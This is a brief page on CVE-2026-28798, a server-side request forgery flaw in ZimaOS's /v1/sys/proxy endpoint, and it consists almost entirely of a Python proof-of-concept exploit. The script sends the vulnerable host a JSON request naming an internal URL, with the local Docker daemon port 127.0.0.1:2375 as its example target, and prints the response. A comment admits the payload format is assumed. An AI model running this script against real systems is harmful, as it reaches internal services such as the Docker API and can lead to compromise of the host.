CVE-2026-28798 ZimaOS代理端点SSRF漏洞

import requests def exploit_ssrf(target_url, internal_url): """ PoC for CVE-2026-28798 Exploits the /v1/sys/proxy endpoint to access internal localhost services. """ proxy_endpoint = f"{target_url}/v1/sys/proxy" # Payload structure may vary based on implementation, assuming a JSON body with a target URL payload = { "url": internal_url, # e.g., http://127.0.0.1:8080 "method": "GET" } try: print(f"[*] Sending request to {proxy_endpoint} to reach {internal_url}") response = requests.post(proxy_endpoint, json=payload, timeout=10) if response.status_code == 200: print("[+] Request successful!") print("[+] Response content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target vulnerable instance target = "http://<VULNERABLE-ZIMAOS-HOST>" internal_target = "http://127.0.0.1:2375" # Example: Docker daemon port exploit_ssrf(target, internal_target)